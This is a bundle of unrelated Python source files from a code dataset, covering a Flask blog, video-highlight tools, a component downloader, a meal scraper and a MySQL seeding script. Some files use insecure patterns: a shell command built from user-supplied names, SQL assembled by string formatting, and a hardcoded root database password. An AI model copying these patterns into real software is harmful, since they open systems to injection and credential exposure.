+{"seq_id":"18503692","text":"#!/use/bin/env python\nimport shlex, subprocess\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\nNUM_REDUCERS = 3\n\ndef main():\n\tdoc_process_args = \"python assignment4_p/coordinator.py --mapperPath=assignment4_p/document_store/doc_mapper.py --reducerPath=assignment4_p/document_store/doc_reducer.py --jobPath=assignment5/df_jobs --numReducers=%d\" % NUM_REDUCERS\n\tlogging.debug(\"Doc_Server mapReduce param: %s\" % doc_process_args)\n\tdoc_process_args = shlex.split(doc_process_args)\t\n\tdoc_process = subprocess.Popen(doc_process_args)\n\tdoc_return_code = doc_process.wait()\n\tif doc_return_code is not 0:\n\t\tlogging.error(\"MapReduce Doc return code %d\" % doc_return_code)\n\t\tsys.exit(2)\n\t\n\tinverted_process_args = \"python assignment4_p/coordinator.py --mapperPath=assignment4_p/inverted_index/index_mapper.py --reducerPath=assignment4_p/inverted_index/index_reducer.py --jobPath=assignment5/i_df_jobs --numReducers=%d\" % NUM_REDUCERS\n\tlogging.debug(\"Inverted_Server mapReduce param: %s\" % inverted_process_args)\n\tinverted_process_args = shlex.split(inverted_process_args)\n\tinverted_process = subprocess.Popen(inverted_process_args)\n\tinverted_return_code = inverted_process.wait()\n\tif inverted_return_code is not 0:\n\t\tlogging.error(\"MapReduce Inverted return code %d\" % inverted_return_code)\n\t\tsys.exit(2)\n\t\n\ttf_idf_args = \"python assignment4_p/coordinator.py --mapperPath=assignment4_p/idf_index/idf_mapper.py --reducerPath=assignment4_p/idf_index/idf_reducer.py --jobPath=assignment5/idf_jobs --numReducers=1\" \n\tlogging.debug(\"IDF mapReduce param: %s\" % tf_idf_args)\n\ttf_idf_args = shlex.split(tf_idf_args)\n\tidf_process = subprocess.Popen(tf_idf_args)\n\tidf_return_code = idf_process.wait()\n\tif idf_return_code is not 0:\n\t\tlogging.error(\"MapReduce IDF return code %d\" % idf_return_code)\n\t\tsys.exit(2)\n\t\t\nif __name__ == \"__main__\":\n\tmain()\n\t\n\n\n","sub_path":"sea-assignments/assignment5/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"615348729","text":"from flask import render_template, request, flash, redirect, url_for\nfrom flask_login import login_user, logout_user, login_required\nfrom . import main_blueprint as main\nfrom .forms import SignUp, SignIn, Search, AddPost, EditProfile, EditPost, DeletePost\nfrom ..models import Blogger, Blog\nfrom blog import db\nfrom config import POSTS_PER_PAGE\n\n\n@main.route('/')\n@main.route('/home')\ndef index():\n return render_template('index.html')\n\n\n@main.route('/sign-up', methods=['GET', 'POST'])\ndef sign_up():\n form = SignUp()\n if request.method == 'POST' and form.validate():\n new_blogger = Blogger(username = form.username.data,\n first_name = form.first_name.data,\n last_name = form.last_name.data,\n email = form.email.data,\n password = form.password.data)\n\n db.session.add(new_blogger)\n db.session.commit()\n flash('You registered successfully and can now log in')\n return redirect(url_for('main.index'))\n return render_template('sign-up.html', form=form)\n\n\n@main.route('/sign-in', methods=['GET', 'POST'])\ndef sign_in():\n form = SignIn()\n if request.method == 'POST':\n if form.validate_on_submit():\n blogger = Blogger.query.filter_by(username=form.username.data).first()\n if blogger is not None and blogger.verify_password(form.password.data):\n login_user(blogger)\n return redirect(url_for('main.dashboard', username=form.username.data))\n flash('You successfully logged in')\n else:\n flash('Invalid email and/or password')\n return render_template('sign-in.html', form=form)\n\n\n@main.route('/sign-out')\n@login_required\ndef sign_out():\n logout_user()\n flash('You logged out')\n return redirect(url_for('main.index'))\n\n\n@main.route('//profile/edit', methods=['GET', 'POST'])\n@login_required\ndef edit_profile(username):\n blogger = Blogger.query.filter_by(username=username).first()\n form = EditProfile(obj=blogger)\n form.populate_obj(blogger)\n if form.validate_on_submit():\n blogger.username = form.username.data\n blogger.first_name = form.first_name.data\n blogger.last_name = form.last_name.data\n blogger.email = form.email.data\n blogger.about_me = form.about_me.data\n\n db.session.add(blogger)\n db.session.commit()\n flash(\"Changes applied to profile\")\n return redirect(url_for('main.dashboard', username=form.username.data))\n return render_template('edit-profile.html', blogger=blogger, form=form)\n\n\n@main.route('/Dashboard/', methods=['GET', 'POST'])\n@main.route('/Dashboard//', methods=['GET', 'POST'])\n@login_required\ndef dashboard(username, page=1):\n form = Search()\n blogger = Blogger.query.filter_by(username=username).first()\n blogs = Blog.query.filter_by(blogger=blogger.id).paginate(page, POSTS_PER_PAGE, True)\n if form.validate_on_submit():\n search_results = Blog.query.filter(Blog.title.contains(form.item.data))\\\n .paginate(page, POSTS_PER_PAGE, True)\n return render_template('search.html', form=form, searchResults=search_results, blogger=blogger)\n return render_template('dashboard.html', form=form, blogs=blogs, blogger=blogger)\n\n\n@main.route('/Dashboard///new', methods=['GET', 'POST'])\n@login_required\ndef add_post(username, blogger_id):\n form = AddPost()\n if request.method == 'POST':\n if form.validate_on_submit():\n new_blog = Blog(title=form.title.data, content=form.content.data, blogger=blogger_id)\n db.session.add(new_blog)\n db.session.commit()\n flash(\"You added a new blog post\")\n return redirect(url_for('main.dashboard', username=username))\n return render_template('add-post.html', form=form, username=username, blogger_id=blogger_id)\n\n\n@main.route('/Dashboard///edit', methods=['GET', 'POST'])\n@login_required\ndef edit_post(username, blog_id):\n blog_to_edit = Blog.query.filter_by(id=blog_id).first()\n form = EditPost(obj=blog_to_edit)\n form.populate_obj(blog_to_edit)\n if form.validate_on_submit():\n blog_to_edit.title = form.title.data\n blog_to_edit.content = form.content.data\n db.session.add(blog_to_edit)\n db.session.commit()\n flash(\"Changes applied to a blog post\")\n return redirect(url_for('main.dashboard', username=username))\n return render_template('edit-post.html', form=form, username=username, blog_id=blog_id)\n\n\n@main.route('/Dashboard///delete', methods=['GET', 'POST'])\n@login_required\ndef delete_post(username, blog_id):\n form = DeletePost()\n blog_to_delete = Blog.query.filter_by(id=blog_id).first()\n if request.method == 'POST':\n db.session.delete(blog_to_delete)\n db.session.commit()\n flash(\"Blog post deleted\")\n return redirect(url_for('main.dashboard', username=username))\n return render_template('delete-post.html', form=form, username=username, blogToDelete=blog_to_delete)\n\n\n@main.route('/blogs')\n@main.route('/blogs/', methods=['GET', 'POST'])\ndef view_blogs(page=1):\n blogs = Blog.query.paginate(page, POSTS_PER_PAGE, True)\n return render_template('blogs.html', blogs=blogs)\n\n\n@main.route('/bloggers')\ndef view_bloggers():\n bloggers = Blogger.query.all()\n return render_template('bloggers.html', bloggers=bloggers)\n\n\n\n","sub_path":"blog/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"209610778","text":"import argparse, os, requests\nfrom collections import defaultdict\n\nfrom search import search\n\n#OUTPUT_FOLDER='./static/stream/'\nOUTPUT_FOLDER='./stream/'\ndef create_text_file(clip_names, fname):\n out_file = f'{OUTPUT_FOLDER}{fname}.txt'\n # Allowing only 10 clips\n clip_names = clip_names[:10]\n with open(out_file, 'w') as f:\n f.write('\\n'.join([f'file {fn}' for fn in clip_names]))\n \n return out_file\n\n\ndef get_highlights(batsman, bowler, shot, ball_type, runs, wicket):\n \"\"\"\n Summary: Returns the path of the compiled highlights video\n\n Parameters:\n batsman(str): Name of the batsman\n bowler(str) : Name of the bowler\n shot(str): Type of shot played\n ball_type(str): Ball type\n runs(str): Runs\n wicket(bool): true or false, None for no value\n\n Returns:\n 'out_video_path': Path to the combined highlight video clip\n \"\"\"\n\n filters = defaultdict()\n fname = ''\n\n if batsman:\n filters['batsman'] = batsman\n fname += batsman\n else:\n filters['batsman'] = ''\n\n if bowler:\n filters['bowler'] = bowler\n fname += bowler\n else:\n filters['bowler'] = ''\n\n if shot:\n filters['shot'] = shot\n fname += shot\n else:\n filters['shot'] = ''\n\n if ball_type:\n filters['ball_type'] = ball_type\n fname += ball_type\n else:\n filters['ball_type'] = ''\n\n if runs:\n filters['runs'] = runs\n fname += runs\n else:\n filters['runs'] = ''\n\n if wicket:\n filters['wicket']=True\n fname += 'wicket'\n else:\n filters['wicket']=None\n\n print(filters)\n fname = fname.strip()\n out_video_path = f'{OUTPUT_FOLDER}{fname}.mp4'\n\n if (os.path.isfile(out_video_path)):\n print('File already exists')\n else:\n clip_names = search(filters)\n txt_file = create_text_file(clip_names, fname)\n os.system(f'ffmpeg -f concat -safe 0 -i {txt_file} -c copy {out_video_path}')\n print(f'File created at {out_video_path}')\n\n return f'stream/{fname}.mp4'\n\ndef badmintonHighlightsFunction(inputUrl, email):\n URL = 'http://34.83.101.230:5000/badminton'\n PARAMS={'url': inputUrl,\n 'start_time': '00:05:00',\n 'duration': '00:04:00' ,\n 'email': email\n } \n r = requests.get(url = URL, params = PARAMS)\n return 'Done'\n\ndef tennisHighlightsFunction(inputUrl,email):\n URL = 'http://34.83.101.230:5000/tennis'\n PARAMS={'url': inputUrl,\n 'start_time': '00:05:00',\n 'duration': '00:04:00' ,\n 'email': email\n }\n r = requests.get(url = URL, params = PARAMS)\n return 'Done'\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(description='Generates highlights for cricket videos')\n parser.add_argument('-b', '--batsman', help='Cricinfo link for the commentary')\n parser.add_argument('-l', '--bowler', help='Cricinfo link for the commentary')\n parser.add_argument('-s', '--shot', help='CSV file to write the data')\n parser.add_argument('-t', '--ball_type', help='Corodinates for the over position')\n parser.add_argument('-r', '--runs', help='First innings commentary for last over.')\n parser.add_argument('-w', '--wicket', help='Wickets included or not, 0 for no 1 for yes')\n\n args = parser.parse_args()\n\n get_highlights(args.batsman, args.bowler, args.shot, args.ball_type, args.runs, args.wicket)\n","sub_path":"server/highlights.py","file_name":"highlights.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"122779915","text":"# -*- coding: utf-8 -*-\n\"\"\"\nVelogames - test algorithms\n\nAuthor: Klemen Ziberna\n\"\"\"\n\n#####################################\n# GLOBAL VARIABLES\n\nFILE_PATH = \"C:\\klemen\\Repositories\\ProCyclingStats\\Analysis_Tables\\Riders_Points\"\nCSV_FILES = [\"rider1.csv\",\n \"rider2.csv\",\n \"rider3.csv\",\n \"rider4.csv\",\n \"rider5.csv\",\n \"rider6.csv\",\n \"rider7.csv\",\n \"rider8.csv\",\n \"rider9.csv\"\n ]\n\n#####################################\n# LIBRARIES\n\nimport pandas as pd\nimport os\nimport chardet\n\n#####################################\n# FUNCTIONS\n\ndef open_csv_chardet(input_csv_file):\n \"\"\"\n Function opens the csv file, detects correct encoding, then open\n the same file as pandas df with correct encoding\n \"\"\"\n with open(input_csv_file, 'rb') as f:\n result = chardet.detect(f.read()) # or readline if the file is large\n \n csv_df = pd.read_csv(input_csv_file, encoding=result['encoding'])\n \n return csv_df\n\n\n#####################################\n# MAIN PROGRAM\n\n\n# Open the files\nrider1_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[0]))\nrider2_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[1]))\nrider3_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[2]))\nrider4_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[3]))\nrider5_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[4]))\nrider6_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[5]))\nrider7_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[6]))\nrider8_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[7]))\nrider9_df = open_csv_chardet(os.path.join(FILE_PATH, CSV_FILES[8]))\n\n\n\n# Selection algorithm\n\n# Conditions\nsel_category = 'PCS Ranking - Individual - Value'\n#sel_category = 'PCS Season - Distance - Position'\n#sel_category = 'Form_2month''\n\nmax_cost = 100 # max cost\nbest_combination = {'Value':0,\n 'Combination': \"\",\n 'Cost': 0} \n\n# Modified algorithm (less levels)\n\n \n# Main loop\n\nfor index1 in range(0,len(rider1_df)):\n print('Rider1: ' + str(index1))\n current_cost = rider1_df['Cost'][index1]\n if current_cost > max_cost - 8*4:\n continue\n\n \n for index2 in range(0,len(rider2_df)):\n print('-Rider2: ' + str(index2))\n current_cost = rider1_df['Cost'][index1] \\\n + rider2_df['Cost'][index2] \n\n if current_cost > max_cost - 7*4:\n continue\n\n \n for index3 in range(0,len(rider3_df)):\n print('--Rider3: ' + str(index3))\n current_cost = rider1_df['Cost'][index1] \\\n + rider2_df['Cost'][index2] \\\n + rider3_df['Cost'][index3]\n \n if current_cost > max_cost - 6*4:\n continue\n \n \n for index4 in range(0,len(rider4_df)):\n #print('---Rider4: ' + str(index4))\n current_cost = rider1_df['Cost'][index1] \\\n + rider2_df['Cost'][index2] \\\n + rider3_df['Cost'][index3] \\\n + rider4_df['Cost'][index4] \n \n if current_cost > max_cost - 5*4:\n continue\n \n \n for index5 in range(0,len(rider5_df)):\n #print('----Rider5: ' + str(index5))\n current_cost = rider1_df['Cost'][index1] \\\n + rider2_df['Cost'][index2] \\\n + rider3_df['Cost'][index3] \\\n + rider4_df['Cost'][index4] \\\n + rider5_df['Cost'][index5] \n \n if current_cost > max_cost - 4*4:\n continue\n \n \n# for index6 in range(0,len(rider6_df)):\n# print('-----Rider6: ' + str(index6))\n# current_cost = rider1_df['Cost'][index1] \\\n# + rider2_df['Cost'][index2] \\\n# + rider3_df['Cost'][index3] \\\n# + rider4_df['Cost'][index4] \\\n# + rider5_df['Cost'][index5] \\\n# + rider6_df['Cost'][index6] \n# \n# if current_cost > max_cost - 3*4:\n# continue\n# \n# \n# for index7 in range(0,len(rider7_df)):\n# current_cost = rider1_df['Cost'][index1] \\\n# + rider2_df['Cost'][index2] \\\n# + rider3_df['Cost'][index3] \\\n# + rider4_df['Cost'][index4] \\\n# + rider5_df['Cost'][index5] \\\n# + rider6_df['Cost'][index6] \\\n# + rider7_df['Cost'][index7] \n# \n# if current_cost > max_cost - 2*4:\n# continue\n# \n# \n# for index8 in range(0,len(rider8_df)):\n# current_cost = rider1_df['Cost'][index1] \\\n# + rider2_df['Cost'][index2] \\\n# + rider3_df['Cost'][index3] \\\n# + rider4_df['Cost'][index4] \\\n# + rider5_df['Cost'][index5] \\\n# + rider6_df['Cost'][index6] \\\n# + rider7_df['Cost'][index7] \\\n# + rider8_df['Cost'][index8] \n# \n# if current_cost > max_cost - 1*4:\n# continue\n \n \n for index9 in range(0,len(rider9_df)):\n current_cost = rider1_df['Cost'][index1] \\\n + rider2_df['Cost'][index2] \\\n + rider3_df['Cost'][index3] \\\n + rider4_df['Cost'][index4] \\\n + rider5_df['Cost'][index5] \\\n + rider9_df['Cost'][index9] \n #+ rider6_df['Cost'][index6] \\\n #+ rider7_df['Cost'][index7] \\\n #+ rider8_df['Cost'][index8] \\\n #+ rider9_df['Cost'][index9] \n \n if current_cost > max_cost - 3*4:\n continue\n \n selection_value = \\\n rider1_df[sel_category][index1] \\\n + rider2_df[sel_category][index2] \\\n + rider3_df[sel_category][index3] \\\n + rider4_df[sel_category][index4] \\\n + rider5_df[sel_category][index5] \\\n + rider9_df[sel_category][index9]\n #+ rider6_df[sel_category][index6] \\\n #+ rider7_df[sel_category][index7] \\\n #+ rider8_df[sel_category][index8] \\\n #+ rider9_df[sel_category][index9]\n \n if selection_value <= best_combination['Value']:\n continue\n \n else:\n best_combination['Value'] = float(selection_value)\n best_combination['Combination'] = [\n rider1_df['Name'][index1],\n rider2_df['Name'][index2],\n rider3_df['Name'][index3],\n rider4_df['Name'][index4],\n rider5_df['Name'][index5],\n rider9_df['Name'][index9]\n #rider6_df['Name'][index6],\n #rider7_df['Name'][index7],\n #rider8_df['Name'][index8],\n #rider9_df['Name'][index9]\n ]\n best_combination['Cost'] = int(current_cost)\n \n #print('New best selection found:')\n #rint(best_combination['Combination'])\n \n \n\n\n# End\n\n\n\n\n\n\n\n\n","sub_path":"velogames_algorithms_short.py","file_name":"velogames_algorithms_short.py","file_ext":"py","file_size_in_byte":9066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"302851624","text":"from PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtWidgets import *\r\nimport numpy as np\r\n\r\nclass VideoPlot(QLabel):\r\n \"\"\" Displays a video-frame as a QLabel\r\n Drawing is relaized such that the aspect-ratio is kept constant\r\n and the image fills up all the available space in the layout the VideoPlot is contained in\"\"\"\r\n def __init__(self, video, parent=None, centered = True):\r\n super(VideoPlot, self).__init__(parent)\r\n\r\n self.video = None\r\n\r\n #set background to black and border to 0\r\n self.setStyleSheet(\"background-color: rgb(0,0,0); margin:0px; border:0px solid rgb(0, 255, 0); \")\r\n\r\n self.setMinimumSize(320, 180)#Set minimum size\r\n self.setSizePolicy(QSizePolicy.Expanding,QSizePolicy.Expanding)# Set size policy to expanding\r\n self.setAlignment(Qt.AlignCenter)\r\n self.update()\r\n\r\n def set_video(video):\r\n self.video = video\r\n\r\n def resizeEvent(self, event):\r\n \"\"\" Rescales the Pixmap that contains the image when QLabel changes size\r\n Args:\r\n event: QEvent\r\n \"\"\"\r\n size = self.size()\r\n size = QSize(int(size.width()),int(size.height()))\r\n scaledPix = self.pixmap.scaled(size, Qt.KeepAspectRatio, transformMode = Qt.FastTransformation )\r\n self.setPixmap(scaledPix)\r\n\r\n def update(self, frame = None):\r\n \"\"\" Upates the pixmap when a new frame is to be displays. Triggers the Qt eventpipeline.\r\n \"\"\"\r\n\r\n if type(frame) == type(None):#Init blank frame if no video is set yet\r\n frame = np.ndarray((9,16,3), dtype = np.byte)\r\n frame.fill(100)\r\n\r\n height, width, channel = frame.shape\r\n bytesPerLine = 3 * width\r\n image = QImage(frame.data, width, height, bytesPerLine, QImage.Format_RGB888)\r\n self.pixmap = QPixmap(image)\r\n size = self.size()\r\n scaledPix = self.pixmap.scaled(size, Qt.KeepAspectRatio, transformMode = Qt.FastTransformation)\r\n self.setPixmap(scaledPix)\r\n\r\n #QCoreApplication.processEvents()\r\n","sub_path":"videoplot.py","file_name":"videoplot.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"170951160","text":"\"\"\"Component source that downloads components from web service\"\"\"\n\nimport os\nimport re\nimport shutil\nimport tempfile\nfrom hashlib import sha256\nfrom io import open\n\nimport requests\n\nimport idf_component_tools.api_client as api_client\n\nfrom ..archive_tools import ArchiveError, get_format_from_path, unpack_archive\nfrom ..errors import FetchingError\nfrom .base import BaseSource\n\ntry:\n from urllib.parse import urlparse # type: ignore\nexcept ImportError:\n from urlparse import urlparse # type: ignore\n\ntry:\n from typing import Dict\nexcept ImportError:\n pass\n\n\ndef default_component_service_url():\n print('GOT HERE')\n return os.getenv('DEFAULT_COMPONENT_SERVICE_URL') or 'https://api.components.espressif.com/'\n\n\nDEFAULT_NAMESPACE = 'espressif'\n\n\nclass WebServiceSource(BaseSource):\n NAME = 'service'\n\n def __init__(self, source_details=None):\n super(WebServiceSource, self).__init__(source_details=source_details)\n self.base_url = str(self.source_details.get('service_url', default_component_service_url()))\n self.api_client = self.source_details.get(\n 'api_client', api_client.APIClient(base_url=self.base_url, source=self))\n\n @classmethod\n def required_keys(cls):\n return ['service_url']\n\n @property\n def hash_key(self):\n if self._hash_key is None:\n url = urlparse(self.base_url)\n netloc = url.netloc\n path = '/'.join(filter(None, url.path.split('/')))\n normalized_path = '/'.join([netloc, path])\n self._hash_key = sha256(normalized_path.encode('utf-8')).hexdigest()\n return self._hash_key\n\n @staticmethod\n def is_me(name, details):\n # This should be run last\n return True\n\n def versions(self, name, details=None, spec='*'):\n cmp_with_versions = self.api_client.versions(name, spec)\n\n if not cmp_with_versions:\n raise FetchingError('Cannot get versions of \"%s\"' % name)\n\n return cmp_with_versions\n\n def unique_path(self, name, version): # type: (str, str) -> str\n \"\"\"Unique identifier for cache\"\"\"\n return '~'.join([name.replace('/', '~~'), str(version), self.hash_key])\n\n @property\n def component_hash_required(self): # type: () -> bool\n return True\n\n @property\n def downloadable(self): # type: () -> bool\n return True\n\n def normalized_name(self, name):\n if '/' not in name:\n name = '/'.join([DEFAULT_NAMESPACE, name])\n\n return name\n\n def download(self, component, download_path):\n # Check for required components\n\n if not component.component_hash:\n raise FetchingError('Component hash is required for componets from web service')\n\n if not component.version:\n raise FetchingError('Version should provided for %s' % component.name)\n\n component = self.api_client.component(component.name, component.version)\n url = component.download_url\n\n if not url:\n raise FetchingError(\n 'Unexpected response: URL wasn\\'t found for version %s of \"%s\"',\n component.version,\n component.name,\n )\n\n with requests.get(url, stream=True, allow_redirects=True) as r:\n\n # Trying to get extension from url\n original_filename = url.split('/')[-1]\n\n try:\n extension = get_format_from_path(original_filename)[1]\n except ArchiveError:\n extension = None\n\n if r.status_code != 200:\n raise FetchingError(\n 'Cannot download component %s@%s. Server returned HTTP code %s' %\n (component.name, component.version, r.status_code))\n\n # If didn't find anything useful, trying content disposition\n content_disposition = r.headers.get('content-disposition')\n if not extension and content_disposition:\n filenames = re.findall('filename=(.+)', content_disposition)\n try:\n extension = get_format_from_path(filenames[0])[1]\n except IndexError:\n raise FetchingError('Web Service returned invalid download url')\n\n tempdir = tempfile.mkdtemp()\n\n try:\n unique_path = self.unique_path(component.name, component.version)\n filename = '%s.%s' % (unique_path, extension)\n file_path = os.path.join(tempdir, filename)\n\n with open(file_path, 'wb') as f:\n for chunk in r.iter_content(chunk_size=65536):\n if chunk:\n f.write(chunk)\n\n unpack_archive(file_path, download_path)\n finally:\n shutil.rmtree(tempdir)\n\n return [download_path]\n\n @property\n def service_url(self):\n return self.base_url\n\n def serialize(self): # type: () -> Dict\n return {\n 'service_url': self.base_url,\n 'type': self.name,\n }\n","sub_path":"upload_components/component-manager/idf_component_tools/sources/web_service.py","file_name":"web_service.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"507539629","text":"__author__ = 'yinyan'\n\"\"\"\nQuestion Description:\nGiven a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree.\n\"\"\"\n#************************************Using a recursion****************************************************\n#\n#\n#\n#Time Complexity O()\n#Space Complexity O()\n##################################Using ###########################################################################\n#\n#\n#\n#\n#\n#Time Complexity O()\n#Space Complexity O()\n\"\"\"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Pitfall and Failures$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\"\"\"\n#\n#\n#\n#\n############################################################################################################\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution(object):\n def lowestCommonAncestor(self, root, p, q):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n if not root: return None\n if p==root or q==root: return root\n left, right=(self.lowestCommonAncestor(kid, p, q) for kid in (root.left, root.right))\n return root if left and right else left or right\n\n\n","sub_path":"LowestCommonAncestorOfABinaryTree_236.py","file_name":"LowestCommonAncestorOfABinaryTree_236.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"512765144","text":"from urllib.request import urlopen\n\nfrom bs4 import BeautifulSoup\nfrom googletrans import Translator\n\ndef get_todays_meals():\n # fetch beautiful soup\n meals_html = urlopen('http://dorm.knu.ac.kr/_new_ver/')\n bs = BeautifulSoup(meals_html.read(), 'html.parser')\n\n # find text of meals\n menu_div = bs.find(\"div\", {\"class\": \"today_menu\"})\n all_meals = menu_div.findAll('p')\n\n # translate all meals and create list that stores them\n translator = Translator()\n meals_list = []\n for meal in all_meals:\n meals_list.append(translator.translate(meal.string).text)\n\n return meals_list","sub_path":"cafeteria/meals_fetching.py","file_name":"meals_fetching.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"191338464","text":"import pymysql\r\nimport json\r\nimport random\r\nimport time\r\n\r\n# 前提要求\r\n# 使用MySQL数据库\r\n# 默认端口打开\r\n# 在下方填写正确的参数\r\n\r\n# 本地127.0.0.1地址\r\nip = 'localhost'\r\n# 尽量使用root用户创建\r\nusername = 'root'\r\n# 对应的密码\r\npassword = '2104898'\r\n# 有一个专门的数据库\r\ndbname = 'edu'\r\n# json文件所在路径\r\nurl_classFile = './json/class.json'\r\nurl_userFile = './json/user.json'\r\nurl_authorFile = './json/author.json'\r\nurl_video = './json/video.json'\r\nurl_comment = './json/comment.json'\r\nurl_sub_video = './json/sub_video.json'\r\n\r\n# 连接数据库\r\ndb = pymysql.connect(ip,username,password,dbname)\r\ncursor = db.cursor()\r\n\r\n# 填充【class】表\r\nwith open(url_classFile, 'r',encoding='utf-8') as file :\r\n data_class = json.load(file)\r\n\r\n cursor.execute('TRUNCATE TABLE class')\r\n\r\n try:\r\n for item in data_class:\r\n sql = \"INSERT INTO class (root,sub) VALUES ('%s','%s');\" % (item['root'], item['sub'])\r\n cursor.execute(sql)\r\n\r\n db.commit()\r\n print('【通知】class表写入完成')\r\n except:\r\n db.rollback()\r\n print(\"【错误】class表写入出错\")\r\n\r\n# 填充【user】表\r\nwith open(url_userFile, 'r',encoding='utf-8') as file :\r\n data_user = json.load(file)\r\n\r\n cursor.execute('TRUNCATE TABLE user')\r\n\r\n try:\r\n for item in data_user:\r\n sql = \"\"\"\r\n INSERT INTO user (user_id,user_email,user_pass,user_name,favor_class,favor_author,collect_video,head_image,sex,author_id,user_info)\r\n VALUES (%s,'%s','%s','%s','%s','%s','%s','%s','%s',%s,'%s')\r\n \"\"\" % (\r\n item['user_id'], item['user_email'], item['user_pass'], item['user_name'], item['favor_class'],\r\n item['favor_author'], item['collect_video'], item['head_image'], item['sex'], item['author_id'],\r\n item['user_info'])\r\n cursor.execute(sql)\r\n\r\n db.commit()\r\n print('【通知】user表写入完成')\r\n except:\r\n db.rollback()\r\n print(\"【错误】user表写入出错\")\r\n\r\n# 填充【author】表\r\nwith open(url_authorFile, 'r',encoding='utf-8') as file :\r\n data_author = json.load(file)\r\n\r\n cursor.execute('TRUNCATE TABLE author')\r\n\r\n try:\r\n for item in data_author:\r\n sql = \"\"\"\r\n INSERT INTO author (author_id,user_id,fans,upload_video)\r\n VALUES (%s,%s,%s,'%s')\r\n \"\"\" % (item['author_id'],item['user_id'],item['fans'],item['upload_video'])\r\n cursor.execute(sql)\r\n\r\n db.commit()\r\n print('【通知】author表写入完成')\r\n except:\r\n db.rollback()\r\n print(\"【错误】author表写入出错\")\r\n\r\n# 填充【video】表\r\nwith open(url_video, 'r',encoding='utf-8') as file :\r\n data_video = json.load(file)\r\n\r\n cursor.execute('TRUNCATE TABLE video')\r\n\r\n video_ids = list(range((data_video['video_id'])['start'],(data_video['video_id'])['end']+1))\r\n video_names = data_video['video_name']\r\n video_urls = list(range((data_video['video_url'])['start'],(data_video['video_url'])['end']+1))\r\n video_logos = list(range((data_video['video_logo'])['start'],(data_video['video_logo'])['end']+1))\r\n description = data_video['description']\r\n author_ids = data_video['author_id']\r\n upload_dates = []\r\n\r\n temp_start = time.mktime(tuple(data_video['upload_date']['start']))\r\n temp_end = time.mktime(tuple(data_video['upload_date']['end']))\r\n for i in range(10):\r\n t = random.randint(temp_start, temp_end)\r\n date_touple = time.localtime(t)\r\n date = time.strftime(\"%Y-%m-%d %H:%M:%S\", date_touple)\r\n date = str(date)\r\n upload_dates.append(date)\r\n\r\n try:\r\n for video_id in video_ids:\r\n video_name = video_names[random.randint(0,len(video_names)-1)]\r\n video_url = \"/res/movie/\"+str(video_urls[random.randint(0,len(video_urls)-1)])+\".mp4\"\r\n video_logo = \"/res/logo/\"+str(video_logos[random.randint(0,len(video_logos)-1)])+\".jpg\"\r\n num_watch = random.randint(10,20)\r\n num_like = random.randint(0,num_watch)\r\n num_unlike = random.randint(0,num_like)\r\n author_id = author_ids[random.randint(0,len(author_ids)-1)]\r\n upload_date = upload_dates[random.randint(0,len(upload_dates)-1)]\r\n random_class = data_class[random.randint(0,len(data_class)-1)]\r\n root = random_class['root']\r\n sub = random_class['sub']\r\n\r\n sql = \"\"\"\r\n INSERT INTO video (video_id,video_name,video_url,video_logo,num_watch,num_like,num_unlike,description,author_id,upload_date,root,sub)\r\n VALUES (%d,'%s','%s','%s',%d,%d,%d,'%s',%d,'%s','%s','%s')\r\n \"\"\" % (video_id,video_name,video_url,video_logo,num_watch,num_like,num_unlike,description,author_id,upload_date,root,sub)\r\n\r\n cursor.execute(sql)\r\n\r\n sql = \"\"\"\r\n UPDATE author SET upload_video = CONCAT(upload_video,'-','%d') WHERE author_id = %d ;\r\n \"\"\" % (video_id,author_id)\r\n\r\n cursor.execute(sql)\r\n\r\n db.commit()\r\n print('【通知】video表写入完成')\r\n except:\r\n db.rollback()\r\n print(\"【错误】video表写入出错\")\r\n\r\n# 填充【comment】表\r\nwith open(url_comment, 'r',encoding='utf-8') as file :\r\n data_comment = json.load(file)\r\n\r\n cursor.execute('TRUNCATE TABLE comment')\r\n\r\n comment_num = data_comment['num']\r\n contents = data_comment['content']\r\n replys = data_comment['reply']['content']\r\n reply_num = data_comment['reply']['num']\r\n\r\n comment_dates = []\r\n temp_start = time.mktime(tuple(data_comment['date']['start']))\r\n temp_end = time.mktime(tuple(data_comment['date']['end']))\r\n for i in range(10):\r\n t = random.randint(temp_start, temp_end)\r\n date_touple = time.localtime(t)\r\n date = time.strftime(\"%Y-%m-%d %H:%M:%S\", date_touple)\r\n date = str(date)\r\n 